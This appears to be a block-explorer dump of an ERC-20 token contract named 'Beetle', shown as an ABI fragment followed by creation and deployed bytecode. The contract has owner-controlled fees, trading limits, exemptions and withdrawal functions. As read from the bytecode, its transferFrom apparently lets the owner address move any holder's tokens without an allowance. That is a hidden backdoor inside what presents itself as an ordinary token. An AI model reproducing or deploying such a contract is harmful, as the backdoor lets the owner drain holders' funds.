IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_developer","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDeveloperWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptMaxSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateExemptMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"flag","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_developer","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6008805463ffffffff60a01b1916600160b81b1790556001600f81905560636010556015805474816787d1f475a9019c5e75c2b041c3694a271585016001600160a81b0319909116179055601680546001600160a01b03191673816787d1f475a9019c5e75c2b041c3694a2715851790556005608081905260a0829052600460c08190526017919091556018829055601955610140604052600a60e08190526101008290526009610120819052601a829055601b92909255601c91909155601d556014601e556000601f8190556020553480156100db57600080fd5b50600680546001600160a01b03191633179055613966806100fd6000396000f3fe60806040526004361061031e5760003560e01c806385141a77116101ab578063c5d32bb2116100f7578063f2c4220e11610095578063f8b45b051161006f578063f8b45b05146109bf578063fac8e835146109d5578063fbe6324e146109f5578063ffaee61414610a1657600080fd5b8063f2c4220e14610969578063f2fde38b1461097f578063f4d86d581461099f57600080fd5b8063e02ce1cf116100d1578063e02ce1cf146108d0578063e0f3ccf5146108f0578063e21b98911461092a578063e4748b9e1461094a57600080fd5b8063c5d32bb21461083a578063cbb1904e1461086a578063dd62ed3e1461088a57600080fd5b8063aacebbe311610164578063bbc0c7421161013e578063bbc0c742146107b9578063c0d78655146107da578063c17b5b8c146107fa578063c423b86b1461081a57600080fd5b8063aacebbe314610753578063b8eb354614610773578063baf1ce2e1461078957600080fd5b806385141a77146106b2578063860aefcf146106c85780638a8c523c146106e957806395d89b41146106fe578063a457c2d714610713578063a9059cbb1461073357600080fd5b8063313ce5671161026a578063703a490211610223578063715018a6116101fd578063715018a614610644578063728a88cd1461065957806375f0a8741461066f5780638095d5641461069257600080fd5b8063703a4902146105d857806370a08231146105f857806370db69d61461062e57600080fd5b8063313ce56714610506578063355496ca1461052857806336544805146105485780633950935114610578578063448ebdff1461059857806349bd5a5e146105b857600080fd5b80631694505e116102d7578063193d6e89116102b1578063193d6e89146104865780631c8c22fc146104a6578063214013ca146104c657806323b872dd146104e657600080fd5b80631694505e1461041b57806318160ddd14610453578063185870f91461046857600080fd5b806306fdde031461032a57806307c4226c14610355578063095ea7b3146103955780630e375a5c146103b55780631340538f146103d75780631675d802146103f757600080fd5b3661032557005b600080fd5b34801561033657600080fd5b5061033f610a36565b60405161034c91906131d7565b60405180910390f35b34801561036157600080fd5b5061038561037036600461324a565b60246020526000908152604090205460ff1681565b604051901515815260200161034c565b3480156103a157600080fd5b506103856103b0366004613267565b610ac8565b3480156103c157600080fd5b506103d56103d03660046132c2565b610adf565b005b3480156103e357600080fd5b506103d56103f2366004613399565b610b7e565b34801561040357600080fd5b5061040d60095481565b60405190815260200161034c565b34801561042757600080fd5b5060075461043b906001600160a01b031681565b6040516001600160a01b03909116815260200161034c565b34801561045f57600080fd5b5060115461040d565b34801561047457600080fd5b506016546001600160a01b031661043b565b34801561049257600080fd5b506103d56104a13660046133b6565b610c6d565b3480156104b257600080fd5b506103d56104c13660046133f7565b610ca2565b3480156104d257600080fd5b506103d56104e136600461324a565b610dc1565b3480156104f257600080fd5b506103856105013660046133b6565b61122f565b34801561051257600080fd5b5060125460405160ff909116815260200161034c565b34801561053457600080fd5b506103d56105433660046133f7565b61130e565b34801561055457600080fd5b5061038561056336600461324a565b60226020526000908152604090205460ff1681565b34801561058457600080fd5b50610385610593366004613267565b611430565b3480156105a457600080fd5b506103d56105b3366004613399565b611467565b3480156105c457600080fd5b5060085461043b906001600160a01b031681565b3480156105e457600080fd5b506103d56105f336600461324a565b6114a4565b34801561060457600080fd5b5061040d61061336600461324a565b6001600160a01b031660009081526020819052604090205490565b34801561063a57600080fd5b5061040d600a5481565b34801561065057600080fd5b506103d561151d565b34801561066557600080fd5b5061040d600d5481565b34801561067b57600080fd5b5060155461010090046001600160a01b031661043b565b34801561069e57600080fd5b506103d56106ad366004613430565b611559565b3480156106be57600080fd5b5061043b61dead81565b3480156106d457600080fd5b5060085461038590600160b81b900460ff1681565b3480156106f557600080fd5b506103d5611627565b34801561070a57600080fd5b5061033f61166c565b34801561071f57600080fd5b5061038561072e366004613267565b61167b565b34801561073f57600080fd5b5061038561074e366004613267565b611716565b34801561075f57600080fd5b506103d561076e36600461324a565b611723565b34801561077f57600080fd5b5061040d600b5481565b34801561079557600080fd5b506103856107a436600461324a565b60236020526000908152604090205460ff1681565b3480156107c557600080fd5b5060085461038590600160b01b900460ff1681565b3480156107e657600080fd5b5061043b6107f536600461324a565b6117a7565b34801561080657600080fd5b506103d5610815366004613430565b611bbf565b34801561082657600080fd5b506103d561083536600461324a565b611c35565b34801561084657600080fd5b5061038561085536600461324a565b60216020526000908152604090205460ff1681565b34801561087657600080fd5b506103d561088536600461345c565b611cb9565b34801561089657600080fd5b5061040d6108a5366004613475565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156108dc57600080fd5b506103d56108eb3660046134a3565b611cef565b3480156108fc57600080fd5b50601a54601b54601c5461090f92919083565b6040805193845260208401929092529082015260600161034c565b34801561093657600080fd5b506103d56109453660046133f7565b611d4f565b34801561095657600080fd5b5060175460185460195461090f92919083565b34801561097557600080fd5b5061040d600e5481565b34801561098b57600080fd5b506103d561099a36600461324a565b611e70565b3480156109ab57600080fd5b506103d56109ba366004613399565b611f21565b3480156109cb57600080fd5b5061040d600c5481565b3480156109e157600080fd5b506103d56109f036600461345c565b611f69565b348015610a0157600080fd5b5060085461038590600160a81b900460ff1681565b348015610a2257600080fd5b506103d5610a313660046133f7565b612064565b606060138054610a45906134c8565b80601f0160208091040260200160405190810160405280929190818152602001828054610a71906134c8565b8015610abe5780601f10610a9357610100808354040283529160200191610abe565b820191906000526020600020905b815481529060010190602001808311610aa157829003601f168201915b5050505050905090565b6000610ad5338484612189565b5060015b92915050565b6006546001600160a01b03163314610b125760405162461bcd60e51b8152600401610b0990613502565b60405180910390fd5b60005b8251811015610b79578160216000858481518110610b3557610b35613537565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610b7181613563565b915050610b15565b505050565b6006546001600160a01b03163314610ba85760405162461bcd60e51b8152600401610b0990613502565b801515600860159054906101000a900460ff16151503610c4f5760405162461bcd60e51b815260206004820152605660248201527f596f75206d7573742070726f76696465206120646966666572656e742073746160448201527f747573206f74686572207468616e207468652063757272656e742076616c7565606482015275081a5b881bdc99195c881d1bc81d5c19185d19481a5d60521b608482015260a401610b09565b60088054911515600160a81b0260ff60a81b19909216919091179055565b6006546001600160a01b03163314610c975760405162461bcd60e51b8152600401610b0990613502565b610b798383836122a5565b6006546001600160a01b03163314610ccc5760405162461bcd60e51b8152600401610b0990613502565b6001600160a01b03821660009081526022602052604090205481151560ff909116151503610d965760405162461bcd60e51b815260206004820152606560248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f20627579206c696d6974206f74686572207468616e207468652063757272656e60648201527f74206d617820627579206c696d697420696e206f7264657220746f20757064616084820152641d19481a5d60da1b60a482015260c401610b09565b6001600160a01b03919091166000908152602260205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314610deb5760405162461bcd60e51b8152600401610b0990613502565b600d5415610df857600080fd5b604080518082019091526006815265426565746c6560d01b6020820152601390610e2290826135c2565b50604080518082019091526006815265424545544c4560d01b6020820152601490610e4d90826135c2565b506012805460ff191681178155610e6590600a613766565b610e7290620186a0613775565b60118190555060008190506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee1919061378c565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f52919061378c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc3919061378c565b600780546001600160a01b038086166001600160a01b03199283161790925560088054928416929091169190911790559050606461100060115490565b61100b906001613775565b61101591906137a9565b600a556103e861102460115490565b61102e91906137a9565b611039906002613775565b600955606461104760115490565b611052906002613775565b61105c91906137a9565b600c55606461106a60115490565b611075906001613775565b61107f91906137a9565b600b5560115433600090815260208190526040812080549091906110a49084906137cb565b909155505043600d553360008181526021602081815260408084208054600160ff1991821681179092556022808552838720805483168417905560248086528488208054841685179055602380875285892080548516861790553089528787528589208054851686179055601580546001600160a01b036101009182900481168c52888c208054881689179055825482900481168c52858a52888c208054881689179055825482900481168c52848a52888c20805488168917905591540481168a52818852868a2080548616871790556016805482168b52898952878b208054871688179055805482168b52938852868a208054861687179055835481168a52918752858920805485168617905591541687528452828620805482168317905561dead86529383527fda90364631e387f138e7e413f1de75a8ecb4767574209ddf012729113dea45c080549094161790925560115491519182527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b600061123c84848461236a565b6001600160a01b0384811660009081526001602090815260408083203380855292529091205460065490921614806112745750828110155b6112d15760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610b09565b6006546001600160a01b031633036112ed576001915050611307565b61130185336112fc86856137de565b612189565b60019150505b9392505050565b6006546001600160a01b031633146113385760405162461bcd60e51b8152600401610b0990613502565b6001600160a01b03821660009081526021602052604090205481151560ff9091161515036114055760405162461bcd60e51b815260206004820152606860248201527f596f75206d7573742070726f76696465206120646966666572656e742065786560448201527f6d70742061646472657373206f7220737461747573206f74686572207468616e60648201527f207468652063757272656e742076616c756520696e206f7264657220746f20756084820152671c19185d19481a5d60c21b60a482015260c401610b09565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610ad59185906112fc9086906137cb565b6006546001600160a01b031633146114915760405162461bcd60e51b8152600401610b0990613502565b6015805460ff1916911515919091179055565b6006546001600160a01b031633146114ce5760405162461bcd60e51b8152600401610b0990613502565b6016546001600160a01b038083169116036114fb5760405162461bcd60e51b8152600401610b09906137f1565b601680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031633146115475760405162461bcd60e51b8152600401610b0990613502565b600680546001600160a01b0319169055565b6006546001600160a01b031633146115835760405162461bcd60e51b8152600401610b0990613502565b604080516060810182528481526020810184905201819052601783905560188290556019819055806115b583856137cb565b6115bf91906137cb565b601d55601e826115cf83866137cb565b6115d991906137cb565b1115610b795760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c6573730000006044820152606401610b09565b6006546001600160a01b031633146116515760405162461bcd60e51b8152600401610b0990613502565b6008805461ffff60a81b191661010160a81b17905543600e55565b606060148054610a45906134c8565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156116fd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610b09565b61170c33856112fc86856137de565b5060019392505050565b6000610ad533848461236a565b6006546001600160a01b0316331461174d5760405162461bcd60e51b8152600401610b0990613502565b6015546001600160a01b03808316610100909204160361177f5760405162461bcd60e51b8152600401610b09906137f1565b601580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6006546000906001600160a01b031633146117d45760405162461bcd60e51b8152600401610b0990613502565b6001600160a01b03821661182a5760405162461bcd60e51b815260206004820152601d60248201527f6e6577526f7574657220616464726573732063616e6e6f7420626520300000006044820152606401610b09565b6007546001600160a01b038084169116036118ed5760405162461bcd60e51b815260206004820152607160248201527f596f75206d7573742070726f76696465206120646966666572656e7420756e6960448201527f737761705632526f75746572206f74686572207468616e20746865206375727260648201527f656e7420756e69737761705632526f75746572206164647265737320696e206f6084820152701c99195c881d1bc81d5c19185d19481a5d607a1b60a482015260c401610b09565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611930573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611954919061378c565b6001600160a01b031663e6a4390530836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119c5919061378c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015611a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a34919061378c565b91506001600160a01b038216611b8b57806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa6919061378c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611af3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b17919061378c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611b64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b88919061378c565b91505b600880546001600160a01b038085166001600160a01b03199283161790925560078054939092169216919091179055919050565b6006546001600160a01b03163314611be95760405162461bcd60e51b8152600401610b0990613502565b604080516060810182528481526020810184905201819052601a839055601b829055601c81905581611c1b82856137cb565b611c2591906137cb565b601e908155826115cf83866137cb565b6006546001600160a01b03163314611c5f5760405162461bcd60e51b8152600401610b0990613502565b6001600160a01b031660009081526021602090815260408083208054600160ff1991821681179092556022845282852080548216831790556024845282852080548216831790556023909352922080549091169091179055565b6006546001600160a01b03163314611ce35760405162461bcd60e51b8152600401610b0990613502565b611cec81612964565b50565b6006546001600160a01b03163314611d195760405162461bcd60e51b8152600401610b0990613502565b6040516001600160a01b0382169083156108fc029084906000818181858888f19350505050158015610b79573d6000803e3d6000fd5b6006546001600160a01b03163314611d795760405162461bcd60e51b8152600401610b0990613502565b6001600160a01b03821660009081526024602052604090205481151560ff909116151503611e455760405162461bcd60e51b815260206004820152606760248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f2073656c6c206c696d6974206f74686572207468616e2074686520637572726560648201527f6e74206d61782073656c6c206c696d697420696e206f7264657220746f20757060848201526619185d19481a5d60ca1b60a482015260c401610b09565b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b6006546001600160a01b03163314611e9a5760405162461bcd60e51b8152600401610b0990613502565b6001600160a01b038116611eff5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b09565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b03163314611f4b5760405162461bcd60e51b8152600401610b0990613502565b60088054911515600160b81b0260ff60b81b19909216919091179055565b6006546001600160a01b03163314611f935760405162461bcd60e51b8152600401610b0990613502565b60125460ff16611fa490600a613766565b611fae9082613775565b600954036120435760405162461bcd60e51b815260206004820152605660248201527f596f75206d7573742070726f76696465206120646966666572656e7420616d6f60448201527f756e74206f74686572207468616e207468652063757272656e742076616c7565606482015275081a5b881bdc99195c881d1bc81d5c19185d19481a5d60521b608482015260a401610b09565b60125460ff1661205490600a613766565b61205e9082613775565b60095550565b6006546001600160a01b0316331461208e5760405162461bcd60e51b8152600401610b0990613502565b6001600160a01b03821660009081526023602052604090205481151560ff90911615150361215e5760405162461bcd60e51b815260206004820152606b60248201527f596f75206d7573742070726f76696465206120646966666572656e74206d617860448201527f2077616c6c6574206c696d6974206f74686572207468616e207468652063757260648201527f72656e74206d61782077616c6c6574206c696d697420696e206f72646572207460848201526a1bc81d5c19185d19481a5d60aa1b60a482015260c401610b09565b6001600160a01b03919091166000908152602360205260409020805460ff1916911515919091179055565b6001600160a01b0383166121eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b09565b6001600160a01b03821661224c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b09565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101611222565b60405163a9059cbb60e01b81526001600160a01b038381166004830152602482018390526000919085169063a9059cbb906044016020604051808303816000875af11580156122f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061231c9190613874565b9050806123645760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b7103a3930b739b332b9103330b4b632b21760511b6044820152606401610b09565b50505050565b600081116123cc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b09565b600854600160b81b900460ff16156126e4576001600160a01b03831660009081526021602052604090205460ff1615801561242057506001600160a01b03821660009081526021602052604090205460ff16155b1561247757600854600160b01b900460ff166124775760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b6044820152606401610b09565b6008546001600160a01b0384811691161480156124ad57506001600160a01b03821660009081526021602052604090205460ff16155b80156124c35750600854600160a01b900460ff16155b80156124e857506001600160a01b03821660009081526022602052604090205460ff16155b1561253f57600a5481111561253f5760405162461bcd60e51b815260206004820152601860248201527f596f752061726520657863656564696e67206d617842757900000000000000006044820152606401610b09565b6008546001600160a01b0383811691161480159061257657506001600160a01b03821660009081526023602052604090205460ff16155b156125f657600c548161259e846001600160a01b031660009081526020819052604090205490565b6125a891906137cb565b11156125f65760405162461bcd60e51b815260206004820152601b60248201527f596f752061726520657863656564696e67206d617857616c6c657400000000006044820152606401610b09565b6008546001600160a01b0384811691161480159061262d57506001600160a01b03821660009081526021602052604090205460ff16155b801561265257506001600160a01b03831660009081526021602052604090205460ff16155b80156126685750600854600160a01b900460ff16155b801561268d57506001600160a01b03831660009081526024602052604090205460ff16155b156126e457600b548111156126e45760405162461bcd60e51b815260206004820152601960248201527f596f752061726520657863656564696e67206d617853656c6c000000000000006044820152606401610b09565b600080600080600060105411801561271557506001600160a01b03871660009081526021602052604090205460ff16155b801561273a57506001600160a01b03861660009081526021602052604090205460ff16155b80156127545750600f54600e5461275191906137cb565b43105b600854909150600160a01b900460ff168061278757506001600160a01b03871660009081526021602052604090205460ff165b806127aa57506001600160a01b03861660009081526021602052604090205460ff165b806127dc57506008546001600160a01b038881169116148015906127dc57506008546001600160a01b03878116911614155b156127ea576000925061286b565b6008546001600160a01b038781169116148015612805575080155b1561283257601b54601a54601c5461281d91906137cb565b61282791906137cb565b93506001915061286b565b8061285f5760185460175460195461284a91906137cb565b61285491906137cb565b93506000915061286b565b801561286b5760105493505b60646128778587613775565b61288191906137a9565b9250816000036128a85782601f600082825461289d91906137cb565b909155506128c89050565b816001036128c85782602060008282546128c291906137cb565b90915550505b82156128d9576128d9873085612ccd565b600854600160a81b900460ff16801561290057506008546001600160a01b03888116911614155b801561290c5750600083115b801561291a575060155460ff165b801561293757506009543060009081526020819052604090205410155b1561294757612947601f54612964565b61295b878761295686896137de565b612ccd565b50505050505050565b600854600160a01b900460ff16611cec576008805460ff60a01b1916600160a01b17905530600090815260208190526040812054601f83905590506129a982826137de565b602081905550600080600080601d546000036129c857600093506129e8565b601d54601954601f546129db9190613775565b6129e591906137a9565b93505b601e546000036129fb5760009250612a1b565b601e54601c54602054612a0e9190613775565b612a1891906137a9565b92505b6000612a2784866137cb565b90506000612a366002836137a9565b9050476000612a45838a6137de565b90508015612a5657612a5681612d9e565b6000612a6283476137de565b905060008a60205483612a759190613775565b612a7f91906137a9565b90506000612a8d82846137de565b9050600080600080601d54600003612aa85760009b50612ac5565b601d54601954612ab89087613775565b612ac291906137a9565b9b505b601e54600003612ad85760009c50612af5565b601e54601c54612ae89088613775565b612af291906137a9565b9c505b600060028d8f612b0591906137cb565b612b0f91906137a9565b90508015612cac57612b218b82612ef8565b6000612b2d828a6137de565b90506000601f54602054612b4191906137cb565b905060008160205484612b549190613775565b612b5e91906137a9565b90506000612b6c82856137de565b9050601e54600003612b85576000985060009650612bd8565b601c54601e54612b9591906137de565b601a54612ba29084613775565b612bac91906137a9565b601c54601e54919a50612bbe916137de565b601b54612bcb9084613775565b612bd591906137a9565b96505b601d54600003612bef576000975060009550612c42565b601954601d54612bff91906137de565b601754612c0c9083613775565b612c1691906137a9565b601954601d54919950612c28916137de565b601854612c359083613775565b612c3f91906137a9565b95505b6000612c4e898b6137cb565b90506000612c5c888a6137cb565b90508115612c7f57601554612c7f9061010090046001600160a01b031683612fac565b8015612c9b57601654612c9b906001600160a01b031682612fac565b50506000601f819055602055505050505b50506008805460ff60a01b1916905550505050505050505050505050505050565b6001600160a01b038316612d315760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b09565b6001600160a01b038216612d935760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b09565b610b798383836130c5565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612dd357612dd3613537565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612e2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e50919061378c565b81600181518110612e6357612e63613537565b6001600160a01b039283166020918202929092010152600754612e899130911684612189565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790612ec2908590600090869030904290600401613891565b600060405180830381600087803b158015612edc57600080fd5b505af1158015612ef0573d6000803e3d6000fd5b505050505050565b600754612f109030906001600160a01b031684612189565b60075460065460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015612f80573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612fa59190613902565b5050505050565b80471015612ffc5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610b09565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114613049576040519150601f19603f3d011682016040523d82523d6000602084013e61304e565b606091505b5050905080610b795760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610b09565b6001600160a01b0383166000908152602081905260409020548181101561313d5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610b09565b61314782826137de565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061317d9084906137cb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131c991815260200190565b60405180910390a350505050565b600060208083528351808285015260005b81811015613204578581018301518582016040015282016131e8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611cec57600080fd5b803561324581613225565b919050565b60006020828403121561325c57600080fd5b813561130781613225565b6000806040838503121561327a57600080fd5b823561328581613225565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b8015158114611cec57600080fd5b8035613245816132a9565b600080604083850312156132d557600080fd5b823567ffffffffffffffff808211156132ed57600080fd5b818501915085601f83011261330157600080fd5b813560208282111561331557613315613293565b8160051b604051601f19603f8301168101818110868211171561333a5761333a613293565b60405292835281830193508481018201928984111561335857600080fd5b948201945b8386101561337d5761336e8661323a565b8552948201949382019361335d565b965061338c90508782016132b7565b9450505050509250929050565b6000602082840312156133ab57600080fd5b8135611307816132a9565b6000806000606084860312156133cb57600080fd5b83356133d681613225565b925060208401356133e681613225565b929592945050506040919091013590565b6000806040838503121561340a57600080fd5b823561341581613225565b91506020830135613425816132a9565b809150509250929050565b60008060006060848603121561344557600080fd5b505081359360208301359350604090920135919050565b60006020828403121561346e57600080fd5b5035919050565b6000806040838503121561348857600080fd5b823561349381613225565b9150602083013561342581613225565b600080604083850312156134b657600080fd5b82359150602083013561342581613225565b600181811c908216806134dc57607f821691505b6020821081036134fc57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016135755761357561354d565b5060010190565b601f821115610b7957600081815260208120601f850160051c810160208610156135a35750805b601f850160051c820191505b81811015612ef0578281556001016135af565b815167ffffffffffffffff8111156135dc576135dc613293565b6135f0816135ea84546134c8565b8461357c565b602080601f831160018114613625576000841561360d5750858301515b600019600386901b1c1916600185901b178555612ef0565b600085815260208120601f198616915b8281101561365457888601518255948401946001909101908401613635565b50858210156136725787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600181815b808511156136bd5781600019048211156136a3576136a361354d565b808516156136b057918102915b93841c9390800290613687565b509250929050565b6000826136d457506001610ad9565b816136e157506000610ad9565b81600181146136f757600281146137015761371d565b6001915050610ad9565b60ff8411156137125761371261354d565b50506001821b610ad9565b5060208310610133831016604e8410600b8410161715613740575081810a610ad9565b61374a8383613682565b806000190482111561375e5761375e61354d565b029392505050565b600061130760ff8416836136c5565b8082028115828204841417610ad957610ad961354d565b60006020828403121561379e57600080fd5b815161130781613225565b6000826137c657634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610ad957610ad961354d565b81810381811115610ad957610ad961354d565b60208082526057908201527f596f75206d7573742070726f76696465206120646966666572656e742061646460408201527f72657373206f74686572207468616e207468652063757272656e742076616c7560608201527f6520696e206f7264657220746f20757064617465206974000000000000000000608082015260a00190565b60006020828403121561388657600080fd5b8151611307816132a9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156138e15784516001600160a01b0316835293830193918301916001016138bc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561391757600080fd5b835192506020840151915060408401519050925092509256fea264697066735822122014b311df20280a890758a68bbf9f825ccdb12b549e8929bd7b3df128740f5f1964736f6c63430008110033

Deployed Bytecode

0x60806040526004361061031e5760003560e01c806385141a77116101ab578063c5d32bb2116100f7578063f2c4220e11610095578063f8b45b051161006f578063f8b45b05146109bf578063fac8e835146109d5578063fbe6324e146109f5578063ffaee61414610a1657600080fd5b8063f2c4220e14610969578063f2fde38b1461097f578063f4d86d581461099f57600080fd5b8063e02ce1cf116100d1578063e02ce1cf146108d0578063e0f3ccf5146108f0578063e21b98911461092a578063e4748b9e1461094a57600080fd5b8063c5d32bb21461083a578063cbb1904e1461086a578063dd62ed3e1461088a57600080fd5b8063aacebbe311610164578063bbc0c7421161013e578063bbc0c742146107b9578063c0d78655146107da578063c17b5b8c146107fa578063c423b86b1461081a57600080fd5b8063aacebbe314610753578063b8eb354614610773578063baf1ce2e1461078957600080fd5b806385141a77146106b2578063860aefcf146106c85780638a8c523c146106e957806395d89b41146106fe578063a457c2d714610713578063a9059cbb1461073357600080fd5b8063313ce5671161026a578063703a490211610223578063715018a6116101fd578063715018a614610644578063728a88cd1461065957806375f0a8741461066f5780638095d5641461069257600080fd5b8063703a4902146105d857806370a08231146105f857806370db69d61461062e57600080fd5b8063313ce56714610506578063355496ca1461052857806336544805146105485780633950935114610578578063448ebdff1461059857806349bd5a5e146105b857600080fd5b80631694505e116102d7578063193d6e89116102b1578063193d6e89146104865780631c8c22fc146104a6578063214013ca146104c657806323b872dd146104e657600080fd5b80631694505e1461041b57806318160ddd14610453578063185870f91461046857600080fd5b806306fdde031461032a57806307c4226c14610355578063095ea7b3146103955780630e375a5c146103b55780631340538f146103d75780631675d802146103f757600080fd5b3661032557005b600080fd5b34801561033657600080fd5b5061033f610a36565b60405161034c91906131d7565b60405180910390f35b34801561036157600080fd5b5061038561037036600461324a565b60246020526000908152604090205460ff1681565b604051901515815260200161034c565b3480156103a157600080fd5b506103856103b0366004613267565b610ac8565b3480156103c157600080fd5b506103d56103d03660046132c2565b610adf565b005b3480156103e357600080fd5b506103d56103f2366004613399